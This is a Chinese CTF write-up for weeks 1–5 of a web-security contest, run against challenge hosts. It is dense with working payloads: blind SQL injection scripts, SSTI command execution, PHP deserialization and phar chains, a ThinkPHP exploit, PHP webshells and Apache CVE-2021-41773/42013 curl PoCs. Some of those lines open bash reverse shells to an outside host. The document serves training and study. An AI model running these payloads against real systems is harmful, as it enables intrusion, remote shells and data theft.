WEEK1
HTTP
题目要求GET传入一个name,POST传入一个key(元素审查在注释中找到),又提示你不是admin,查看cookie里user的值为guest
,猜测需要把它改为admin
payload:
GET: /?name=admin
POST: key=ctfisgood
COOKIE: user=admin
Head?Header!
根据提示一步一步修改header头内容:
payload:
User-Agent: CTF
Referer: ctf.com
X-Forwarded-For: 127.0.0.1
我真的会谢
在robots.txt
中找到Part One: flag{Th1s_Is_s00
在.index.php.swp
中找到Part two:0_e4sy_d0_y00
在www.zip
中找到Part Three: u_th1nk_so?}
拼接一下获得flag
NotPHP
第一层绕过file_get_contents
:利用data://
伪协议绕过
第二层绕过MD5弱比较:利用数组绕过
第三层绕过intval:在数字后加字母
第四层绕过注释符#:加换行符%0a
完整payload:
GET:
data=data://text/plain,Welcome%20to%20CTF&key1[]=1&key2[]=2&cmd=%0asystem('cat%20/f*');
POST:
name=2077a
Word-For-You
直接在留言查询页面输入万能密码1'or 1=1--+
就都查出来了,随手一试……
flag: flag{Th1s_is_0_simp1e_S0L_test}
WEEK2
Word-For-You(2 Gen)
week1的升级版,只显示查询成功不显示内容了,如果留言不存在就不会显示查询成功,看来是用了布尔盲注,写个脚本:
import requests
import time
if __name__ == '__main__' :
url = 'http://7c599b1b-ed36-4f74-9ef736604685e43.node4.buuoj.cn:81/comments.php'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 128
while low < high:
mid = (low + high) // 2
payload = f"1' or ascii(substr((select database()),{i},1))>{mid}-- -"
#payload = f"1' or(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})-- -"
#payload = f"1' or(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{mid})-- -"
#payload = f"1' or (ascii(substr((select text from wfy_comments limit 11,1),{i},1))>{mid})-- -"
data = {
"name": payload
}
r=requests.post(url=url,data=data)
r.encoding="utf-8"
#print(r.text)
if '啊呜' in r.text:
high = mid
else:
low = mid + 1
time.sleep(0.2)
if low!=32:
result += chr(low)
print(result)
else:
break
print(result)
这里有个小坑点就是,留言中的大部分内容都是中文的,不好用ascii码比较的情况爆破出所有的留言内容,但是我们可以用limit限制只爆破flag的那条留言的值,返回week1中的sql题看了一下flag是第十二条留言,因此就限制到limit 11,1
爆破出flag
IncludeOne
绕过第一层伪随机数,利用现成脚本爆破出随机数种子:1145146
本地写个脚本得出guess的值:1202031004
绕过第二层include,要求必须有NewStar且不能出现base
和..
,利用php://filter伪协议rot13编码实现绕过,最终payload为:
POST: guess=1202031004
GET: /?file=php://filter/string.rot13/newstar/resource=flag.php
F12在注释中找到rot13编码后的字符串,解码一下得到flag
UnserializeOne
完整的poc链为:
Start::__destruct() -> Sec::__toString() -> Easy::__call() -> eeee::__clone() -> Start::__isset() -> Sec::__invoke()
附上脚本:
<?php
class Start{
public $name;
protected $func;
public function __construct(){
$this->func=new Sec();
$this->name=new Sec();
}
}
class Sec{
private $obj;
public $var;
public function __construct(){
$this->obj=new Easy();
}
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$c=new eeee();
$a=new Start();
$c->obj=$a;
$b=new Sec();
$b->var=$c;
$a->name=$b;
echo urlencode(serialize($c));
注意虽然poc链是从Start开始,但利用eeee先进去也可以触发Start的__destruct()方法
ezAPI
www.zip
源码泄露,考到了graphql,ok完全没听说过,查资料找博客,看到了这篇文章:
https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ
大致了解了graphql的特性后,尝试了一下内省查询,啥也没出来,在源码里找到flag的接口,按照输出id的格式写了一下:
payload:id=1&data={"query":"query{\nffffllllaaagggg_1n_h3r3_flag {\nflag\n}\n}\n"}
WEEK3
BabySSTI_One
非常简单的SSTI模板注入,浅试了一下init和cat被过滤了,利用字符串拼接和中括号绕过,最终payload为:
GET: ?name={{self['__in'+'it__'].__globals__.__builtins__['__import__']('os').popen('tac /f*').read()}}
multiSQL
根据题目翻译考的是联合注入,试了一下果然可以,题目要求把火华师傅的四级成绩改到425分以上,发现select,update,insert
都被过滤了,这里我们可以利用replace into
进行数据修改,再利用delete
删除原数据:
POST:
username=%E7%81%AB%E5%8D%8E';show tables;#查数据库里所有的表
username=%E7%81%AB%E5%8D%8E';desc score;#查score表中所有字段
username=%E7%81%AB%E5%8D%8E';replace into score values("火华",200,200,200);#表中插入一条数据
username=%E7%81%AB%E5%8D%8E';delete from score where listen=11;#删除原本的数据
操作完以后,点击验证数据就可以拿到flag,复现的时候注意中文符号以及不要重复多次执行sql语句,有可能有奇奇怪怪的错误。
IncludeTwo
涉及知识盲区了,给出了hint才做出,具体我是按照https://www.cnblogs.com/iwantflag/p/15602747.html 这篇博客写的。具体原理就是利用pearcmd.php来实现文件包含
详细内容不多说移步上面师傅的博客,下面放出payload:
GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
#在hello.php文件中RCE
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');
注:用burpsuite传GET,用hackbar会被url编码传入文件无法解析
Maybe You Have To think More
题目提示提交用户名,提交完了就输出名字啥也没有,看看有没有备份文件,结果有报错显示是thinkphp5.1.41版本的,又看了眼cookie像是base64编码后又url编码的,解码一下果然,网上搜了一下该版本的cve,具体讲解看这位师傅博客https://www.freebuf.com/vuls/263977.html
exp:
<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method' => '_method',
// 表单ajax伪装变量
'var_ajax' => '_ajax',
// 表单pjax伪装变量
'var_pjax' => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo' => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch' => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter' => '',
// 域名根,如thinkphp.cn
'url_domain_root' => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip' => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix' => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;
use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];
public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;
use think\Model;
class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=*/
?>
将脚本结果放到cookie中,随便GET传个参数进行RCE:
flag在env中
WEEK4
BabySSTI_Two
这回的过滤关键词蛮多的,init,globals,builtins,popen,空格,加号,cat
都给过滤了,不过无伤大雅,关键词过滤了可以用中括号和字符串拼接,加号过滤了可以直接省去效果相同,空格过滤了可以${IFS}替代,还是那个payload,稍微修改一下拿来就能用
GET: ?name={{self['__in''it__']['__glo''bals__']['__bui''ltins__']['__import__']('os')['pop''en']('tac${IFS}/f*').read()}}
轻松拿下flag
So Baby RCE
这题困扰了我好久,我拿源码在我的vps跑我的payload是能出的,但是这个题就不行,最后还是换了个方法。过滤了很多关键字,但可以用ls,cd,rev,..,&&,?
等等来实现RCE,payload为
GET: /?cmd=cd${IFS}..${IFS}%26%26${IFS}cd${IFS}..%26%26${IFS}cd${IFS}..%26%26rev${IFS}fff?llllaaaaggggg
得到逆序后的flag,随便跑个逆序字符串的脚本获得flag
这里注意&
符号在GET中有其他作用,需要进行url编码后使用。原本我的payload的是打算利用环境变量来构造/
来实现RCE,具体做法为
${PWD:0:1} => '/'
可能因为环境不太一样,就是构造不出来,还是太菜了。
UnserialieThree
F12
页面审查发现提示class.php
中有内容,访问一下查看源码:
<?php
highlight_file(__FILE__);
class Evil{
public $cmd;
public function __destruct()
{
if(!preg_match("/>|<|\?|php|".urldecode("%0a")."/i",$this->cmd)){
//Same point ,can you bypass me again?
eval("#".$this->cmd);
}else{
echo "No!";
}
}
}
file_exists($_GET['file']);
又是文件上传又是反序列化很容易想到phar反序列化,解出这道题的关键就是如何绕过eval里面的注释符。回车符被过滤了可以考虑换行符%0d
,还听一个师傅说用\r
也可以但我太菜没复现出来,然后就跑一个生成phar格式的脚本:
<?php
#要把php.ini中的phar.readonly设置成Off,不然无法生成phar文件
class Evil {
public $cmd;
}
$a = new Evil();
$a->cmd=urldecode("%0d")."system('cat f*');";
$phar = new Phar("aa.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($a);//将自定义的meta-data存入manifest,且这部分是以序列化的形式存在
$phar->addFromString("test.txt", "test"); //添加要压缩的文件,因为phar相当于一个解压缩,前提就是要现有.phar文件,然后又因为meta-data是由序列化存储,这边添加一个压缩文件包,就是为了在用phar://伪协议的时候触发meta-data的反序列化
$phar->stopBuffering();//签名自动计算
?>
这里注意%0d需要解码一下再拼接,获得phar文件后修改一下后缀为.png
绕过后缀检查,上传后在class.php利用伪协议phar://
读取文件触发反序列化
又一个SQL
输入100回显说有f1ag_is_here
的留言,然后输入1发现能查到有这个数据但不显示数据内容,试了一下1^1
查不到,1^0
回显与1相同,找到注入点直接开始盲注,脚本如下:
import requests
import time
if __name__ == '__main__' :
url = 'http://abfb87c2-4829-4181-be2f-0e2a0a3df3ec.node4.buuoj.cn:81/comments.php'
result = ''
i = 0
while True:
i = i + 1
low = 32
high = 128
while low < high:
mid = (low + high) // 2
#payload = f"1^(ascii(substr((select(database())),{i},1))>{mid})"
#payload = f"1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),{i},1))>{mid})+'0"
#payload = f"1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{i},1))>{mid})"
#payload = f"1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='wfy_comments')),{i},1))>{mid})"
payload = f"1^(ascii(substr((select(text)from(wfy_comments)where(user='f1ag_is_here')),{i},1))>{mid})"
data = {
"name": payload
}
r=requests.post(url=url,data=data)
r.encoding="utf-8"
print(payload)
if '耶' in r.text:
high = mid
else:
low = mid + 1
time.sleep(0.2)
if low!=32:
result += chr(low)
print(result)
else:
break
print(result)
这里需要注意一下空格过滤了,拿小括号分割一下,因为前面提示了flag在f1ag_is_here
里,查询到wfy_comments
表中字段有id,user,name,text
,flag肯定在text字段中,然后试一试f1ag_is_here
是user
字段的内容还是name
字段的内容,用where
限定一下,还是那个问题可能有中文字符盲注不好全跑出来。
Rome
拿到源码放到jd-gui
中查看
根据题目可知是ROME反序列化,用现成的工具ysoserial
生成payload
java -jar ysoserial-master.jar ROME "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC95b3VyLXZwcy8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}" | base64
将payload中的回车符删掉,再url编码一下
在服务器上nc监听端口,POST
传参数EXP
反弹到服务器上getshell
WEEK5
Give me your photo PLZ
随便上传一个照片正常显示,改成php结尾会报错,看来对php文件有过滤,根据报错页面知道这是一个apache服务的靶机,尝试上传.htaccess
将文件名改为.htaccess.png
上传,burpsuite
抓包去掉后缀
之后再随便传个一句话木马,保存为png格式就可以getshell了
<?php eval($_POST['cmd']);?>//保存为1.png
网页访问/upload/1.png
看到这句话后我真的泪目了~~在env中找到flag
BabySSTI_Three
相比之前的题过滤了下划线_
,这里我们可以用十六进制编码绕过,完整payload:
GET: ?name={{self['\x5f\x5fin''it\x5f\x5f']['\x5f\x5fglo''bals\x5f\x5f']['\x5f\x5fbui''ltins\x5f\x5f']['\x5f\x5fimport\x5f\x5f']('os')['pop''en']('tac${IFS}/f*').read()}}
Unsafe Apache
CVE-2021-41773
影响版本:Apache 2.4.49
poc:
curl -v --path-as-is http://192.168.190.134:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh'
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; bash -i >& /dev/tcp/192.168.190.146/8888 0>&1' "http://192.168.190.134:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
CVE-2021-42013
影响版本:Apache 2.4.49 和 Apache 2.4.50
poc:
curl -v --path-as-is http://192.168.190.134:8080/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
curl -v --data "echo;id" 'http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; whoami' "http://192.168.190.134:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"
这里用wappalyzer
插件看一下apache的版本为Apache 2.4.50
,用CVE-2021-42013
的poc打
执行 curl -v --data "echo;cat /f*" 'http://node4.buuoj.cn:26822/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
拿到flag
So Baby RCE Again
<?php
error_reporting(0);
if(isset($_GET["cmd"])){
if(preg_match('/bash|curl/i',$_GET["cmd"])){
echo "Hacker!";
}else{
shell_exec($_GET["cmd"]);
}
}else{
show_source(__FILE__);
}
把bash
和curl
过滤了,试了一下nc
命令也没有反应,看来反弹shell这条路行不通,于是就利用写文件来看
GET: ?cmd=echo "<?php eval(\$_POST[cmd]);?>" >1.php
直接写个一句话木马到文件里,注意对$
的转义
利用蚁剑连接
在根目录里发现flag但是空的,我们进入终端执行命令:
ls / -al
发现权限不够,利用find寻找可以利用的函数:
find / -perm -u=s -type f 2>/dev/null
蚁剑里出不来不知道为什么,返回页面执行一下,发现有date
可用
用命令date -f /f*
读到flag
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至1004454362@qq.com